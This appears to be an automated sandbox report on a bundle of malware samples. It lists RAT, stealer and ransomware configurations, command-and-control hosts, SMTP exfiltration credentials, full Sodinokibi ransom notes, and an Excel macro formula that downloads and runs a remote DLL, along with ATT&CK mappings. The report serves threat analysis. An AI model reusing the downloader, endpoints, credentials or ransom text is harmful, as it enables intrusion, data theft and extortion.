General
- Target 2020-03-22.zip
- Size 19.9MB
- Sample260710-ag12ksct51
- SHA256 1432627b5e5e94bebabede9892cececd34829d9366f2bf5d03c89e30b2139abe
Malware Config
Extracted
-
quasar
-
1.3.0.0
-
Juju-PC
-
nasjshome.myqnapcloud.com:2411
-
QSR_MUTEX_f4OtUsog3MLeQgWbfb
-
encryption_key
yj5yZG3c7hGV2xH61bIM
-
install_name
JSnet-updater.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
JSnet-updater
-
subdirectory
JSnet
Extracted
-
njrat
-
0.7d
-
HacKed
-
ri0710.ddns.net:1002
-
127.0.0.1:1111
-
172.20.10.3:5552
-
d0a04d86a03faf51743d4db6ba83a126
-
reg_key
d0a04d86a03faf51743d4db6ba83a126
-
splitter
|'|'|
Extracted
-
revengerat
-
Guest
-
127.0.0.1:333
-
101.98.203.110:6969
-
RV_MUTEX
Extracted
-
sodinokibi
-
$2a$10$a/eLgr3WRTqkmwryQJrpu..6XgxaRll4ikUq9XaEV0mqikkC7AZb2
-
1556
-
creative-waves.co.uk
-
aniblinova.wordpress.com
-
commonground-stories.com
-
osterberg.fi
-
bestbet.com
-
caribbeansunpoker.com
-
geekwork.pl
-
mepavex.nl
-
lbcframingelectrical.com
-
mousepad-direkt.de
-
newstap.com.ng
-
merzi.info
-
globedivers.wordpress.com
-
leather-factory.co.jp
-
associacioesportivapolitg.cat
-
sabel-bf.com
-
deko4you.at
-
brawnmediany.com
-
harveybp.com
-
hiddencitysecrets.com.au
-
net
true
-
pid
$2a$10$a/eLgr3WRTqkmwryQJrpu..6XgxaRll4ikUq9XaEV0mqikkC7AZb2
-
prc
steam
agntsvc
isqlplussvc
sqlwriter
sqlbrowser
onenote
mysqld_opt
excel
sqlservr
thunderbird
powerpnt
ocautoupds
msaccess
mysqld_nt
tbirdconfig
encsvc
ocomm
winword
dbeng50
infopath
mspub
visio
wordpad
firefoxconfig
thebat
xfssvccon
sqbcoreservice
mysqld
sqlagent
synctime
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
1556
-
svc
sql
backup
mepocs
memtas
vss
veeam
sophos
svc$
Extracted
-
revengerat
-
NyanCatRevenge
-
101.98.203.110:6969
-
81127f0c8fd84cf0b
Extracted
-
https://aperforrmingnextyou.xyz/372873/svu.dll
-
formulas
=CALL("Kernel32","CreateDirectoryA","JCJ","C:\kfUofWj",0) =CALL("Kernel32","CreateDirectoryA","JCJ","C:\kfUofWj\udcQCdz",0) =CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"https://aperforrmingnextyou.xyz/372873/svu.dll","C:\kfUofWj\udcQCdz\MaIZLPp.dll",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","rundll32.exe","C:\kfUofWj\udcQCdz\MaIZLPp.dll DllRegisterServer",0,0) =HALT()
Extracted
-
njrat
-
101.98.203.110:6969
-
436c7f5d7ac
-
reg_key
436c7f5d7ac
-
splitter
@!#&^%$
Extracted
-
remcos
-
1.7 Pro
-
Host
-
nocpnv.ddns.net:132
-
audio_folder
audio
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
5
-
copy_file
vlan.exe
-
copy_folder
lan
-
delete_file
true
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
true
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
keylog_path
%AppData%
-
mouse_option
true
-
mutex
remcos_vgdkrxoajf
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screens
-
screenshot_path
%AppData%
-
screenshot_time
1
-
startup_value
vlan
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
sodinokibi
-
$2a$10$5vxmkASElAoAGxn0tf7CXezJ8UHB74VhYj/u/48CPWkvT8Ilh1xP6
-
3709
-
edrcreditservices.nl
-
ogdenvision.com
-
berlin-bamboo-bikes.org
-
healthyyworkout.com
-
romeguidedvisit.com
-
friendsandbrgrs.com
-
financescorecard.com
-
blossombeyond50.com
-
antiaginghealthbenefits.com
-
corendonhotels.com
-
smokeysstoves.com
-
behavioralmedicinespecialists.com
-
tandartspraktijkheesch.nl
-
coding-marking.com
-
associationanalytics.com
-
softsproductkey.com
-
fensterbau-ziegler.de
-
woodworkersolution.com
-
hatech.io
-
kmbshipping.co.uk
-
net
true
-
pid
$2a$10$5vxmkASElAoAGxn0tf7CXezJ8UHB74VhYj/u/48CPWkvT8Ilh1xP6
-
prc
dbsnmp
agntsvc
steam
infopath
powerpnt
sql
synctime
mspub
encsvc
dbeng50
onenote
firefox
thunderbird
mydesktopqos
tbirdconfig
winword
excel
mydesktopservice
oracle
sqbcoreservice
outlook
isqlplussvc
wordpad
ocomm
msaccess
ocautoupds
ocssd
visio
xfssvccon
thebat
-
ransom_oneliner
Your network has been penetrated. All of your files are encrypted! Find {EXT}-read-me.txt and follow instuctions
-
ransom_template
---=== Welcome KSB ITALIA S.p.A. ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your clients and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone. It can also cause GDPR compilance. “Article 32, (1) – c states that “The controller and the processor shall implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk, including the ability to restore the availability and access to personal data in a timely manner in the event of a physical or technical incident.” It can hurt organizations where it matters most – Penalties can be as high as €20M or 4% of annual revenues, not to mention the negative public relations fallout. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
3709
-
svc
backup
mepocs
veeam
sophos
svc$
sql
memtas
vss
Extracted
-
njrat
-
0.7d
-
HacKeD By CraZy HaCkeR
-
zezo.hopto.org:1177
-
6e41f4d34881fd4a0b5ed53f5f359a84
-
reg_key
6e41f4d34881fd4a0b5ed53f5f359a84
-
splitter
|'|'|
Extracted
-
sodinokibi
-
$2a$10$RQkXj86ATs3akutp3/mZt.uaMjp/DDsn20zLhzLtsmyL5RWs3LedK
-
3709
-
longislandelderlaw.com
-
hotelsolbh.com.br
-
parks-nuernberg.de
-
naturavetal.hr
-
foretprivee.ca
-
coding-marking.com
-
rocketccw.com
-
joseconstela.com
-
almosthomedogrescue.dog
-
carrybrands.nl
-
adoptioperheet.fi
-
mooreslawngarden.com
-
milanonotai.it
-
centrospgolega.com
-
deprobatehelp.com
-
chaotrang.com
-
merzi.info
-
ouryoungminds.wordpress.com
-
mediaclan.info
-
kosterra.com
-
net
true
-
pid
$2a$10$RQkXj86ATs3akutp3/mZt.uaMjp/DDsn20zLhzLtsmyL5RWs3LedK
-
prc
wordpad
msaccess
agntsvc
oracle
dbeng50
steam
ocssd
ocautoupds
synctime
outlook
winword
xfssvccon
powerpnt
infopath
firefox
tbirdconfig
mydesktopservice
visio
thebat
excel
sqbcoreservice
isqlplussvc
ocomm
onenote
dbsnmp
thunderbird
encsvc
sql
mydesktopqos
mspub
-
ransom_oneliner
Your network has been penetrated. All of your files are encrypted! Find {EXT}-read-me.txt and follow instuctions
-
ransom_template
---=== Welcome KSB ITALIA S.p.A. ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your clients and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone. It can also cause GDPR compilance. “Article 32, (1) – c states that “The controller and the processor shall implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk, including the ability to restore the availability and access to personal data in a timely manner in the event of a physical or technical incident.” It can hurt organizations where it matters most – Penalties can be as high as €20M or 4% of annual revenues, not to mention the negative public relations fallout. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
3709
-
svc
veeam
sql
vss
memtas
sophos
mepocs
backup
svc$
Extracted
-
Protocol
smtp
-
Host
smtp.yandex.com
-
Port
587
-
Username
-
Password
@@Io419090@@
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
smtp.yandex.com
-
Port
587
-
Username
-
Password
@@Io419090@@
Extracted
-
formbook
-
3.9
-
iz3
-
mycbdisgreat.com
-
enzors.com
-
hunterxc.com
-
ontzwijgen.com
-
himonoihmono.net
-
punyahonda.com
-
thelittletankfactory.com
-
averyfoshee.com
-
mandrewsconsulting.com
-
wfsettelment.com
-
gamaputra.com
-
jacobkroon.com
-
xn--sh1b01ldmm5gc.com
-
instatools.info
-
soliddfoundation.com
-
bellevuelimoz.com
-
weiqiangtiyu.com
-
envirowatersolutions.com
-
monstaklide.com
-
realestatephotobymila.com
Targets
-
- Target 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124.exe
- Size 61KB
- SHA256 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124
Score3/10 -
- Target 02338412aac57c2f4a08135cd7b9a7719519d91627ad8dc62c19c2e147a07de7.exe
- Size 713KB
- SHA256 02338412aac57c2f4a08135cd7b9a7719519d91627ad8dc62c19c2e147a07de7
Score10/10AgentTesla payload
Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
Drops file in Drivers directory
Executes dropped EXE
Reads WinSCP keys stored on the system
Tries to access WinSCP stored sessions.
Reads data files stored by FTP clients
Tries to access configuration files associated with programs like FileZilla.
Reads user/profile data of local email clients
Email clients store some user data on disk where infostealers will often target it.
Reads user/profile data of web browsers
Infostealers often target stored browser data, which can include saved credentials etc.
Unsecured Credentials: Credentials In Files
Steal credentials from unsecured files.
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
UPX packed file
Detects executables packed with UPX/modified UPX open source packer.
-
- Target 03200425032e7246493cae751e77c4dc2f2bfdb14cddfea1ab34f051eaaf5290.exe
- Size 398KB
- SHA256 03200425032e7246493cae751e77c4dc2f2bfdb14cddfea1ab34f051eaaf5290
Score10/10Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
Formbook payload
ReZer0 packer
Detects ReZer0, a packer with multiple versions used in various campaigns.
Suspicious use of SetThreadContext
-
- Target 03ad221eb73e1e1339ed53212025a6bb0aac496e5649d8f34f5f71a28c4ad854.elf
- Size 60KB
- SHA256 03ad221eb73e1e1339ed53212025a6bb0aac496e5649d8f34f5f71a28c4ad854
Score1/10 -
- Target 03fa4f4d4dae06093153f6e59e62c64006fa7753c3fd07ab6f96b217f500113d.exe
- Size 251KB
- SHA256 03fa4f4d4dae06093153f6e59e62c64006fa7753c3fd07ab6f96b217f500113d
Score7/10Checks computer location settings
Looks up country code configured in the registry, likely geofence.
Drops startup file
Executes dropped EXE
-
- Target covid.pdf.lnk
- Size 1.1MB
- SHA256 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8
Score7/10Checks computer location settings
Looks up country code configured in the registry, likely geofence.
Executes dropped EXE
-
- Target 0eaa5bbea25ef06214bc21deab41eb7f5bdcdd4c24b0297a28607d30edf65ae1.exe
- Size 348KB
- SHA256 0eaa5bbea25ef06214bc21deab41eb7f5bdcdd4c24b0297a28607d30edf65ae1
Score10/10Family: Quasar RAT
Quasar is an open source Remote Access Tool.
Quasar payload
Executes dropped EXE
Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
-
- Target 1af713f10c77e6438fa32ebafc8c819d1328f1d826ff273af47e80bc585b26a0.exe
- Size 388KB
- SHA256 1af713f10c77e6438fa32ebafc8c819d1328f1d826ff273af47e80bc585b26a0
Score10/10AgentTesla payload
Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
Checks computer location settings
Looks up country code configured in the registry, likely geofence.
Executes dropped EXE
Reads WinSCP keys stored on the system
Tries to access WinSCP stored sessions.
Reads data files stored by FTP clients
Tries to access configuration files associated with programs like FileZilla.
Reads user/profile data of local email clients
Email clients store some user data on disk where infostealers will often target it.
Reads user/profile data of web browsers
Infostealers often target stored browser data, which can include saved credentials etc.
Unsecured Credentials: Credentials In Files
Steal credentials from unsecured files.
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
-
- Target 1c34fdf2e2c4214d8dc6bc9bf4ced6aa7567ffc4c8b6eccf0867becdd64dce2e.exe
- Size 23KB
- SHA256 1c34fdf2e2c4214d8dc6bc9bf4ced6aa7567ffc4c8b6eccf0867becdd64dce2e
Score10/10Family: njRAT/Bladabindi
Widely used RAT written in .NET.
Modifies Windows Firewall
Checks computer location settings
Looks up country code configured in the registry, likely geofence.
Drops startup file
Executes dropped EXE
Adds Run key to start application
-
- Target 1c96a5992e25373d2be3e6fdc7549f6960591b71ae54fb2b32ef027208fab826.zip
- Size 3.3MB
- SHA256 1c96a5992e25373d2be3e6fdc7549f6960591b71ae54fb2b32ef027208fab826
Score1/10 -
- Target 1fb03597fec040fc7f7028865d51f71e59fe4dba03e43bc1a454a43f5dcb278d.exe
- Size 116KB
- SHA256 1fb03597fec040fc7f7028865d51f71e59fe4dba03e43bc1a454a43f5dcb278d
Score1/10 -
- Target DRAFT DOCUMENTS.pdf.exe
- Size 398KB
- SHA256 03200425032e7246493cae751e77c4dc2f2bfdb14cddfea1ab34f051eaaf5290
Score10/10Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
Formbook payload
ReZer0 packer
Detects ReZer0, a packer with multiple versions used in various campaigns.
Suspicious use of SetThreadContext
-
- Target 2218902bc67a30f600afada4a77540eae6e415634ad420d9dce315f8f1e45dea.msi
- Size 270KB
- SHA256 2218902bc67a30f600afada4a77540eae6e415634ad420d9dce315f8f1e45dea
Score7/10Loads dropped DLL
Adds Run key to start application
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
-
- Target 299af7f15d174ff027a719a08a4fde2d269a5b90e2c2a41eea5fb7769d4b7f5e.exe
- Size 16KB
- SHA256 299af7f15d174ff027a719a08a4fde2d269a5b90e2c2a41eea5fb7769d4b7f5e
Score1/10 -
- Target 2b942243439c92b4921032a08567d76c0baff766661083fe8f6a9ab66966926d.exe
- Size 32KB
- SHA256 2b942243439c92b4921032a08567d76c0baff766661083fe8f6a9ab66966926d
Score8/10Modifies Windows Firewall
Checks computer location settings
Looks up country code configured in the registry, likely geofence.
Executes dropped EXE
-
- Target 2bfa4ba9260e19a439d00643717cd310c6bcbb4a57aff97a9ee1b480ce785694.exe
- Size 1.6MB
- SHA256 2bfa4ba9260e19a439d00643717cd310c6bcbb4a57aff97a9ee1b480ce785694
Score3/10
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Installer Packages
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Installer Packages
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1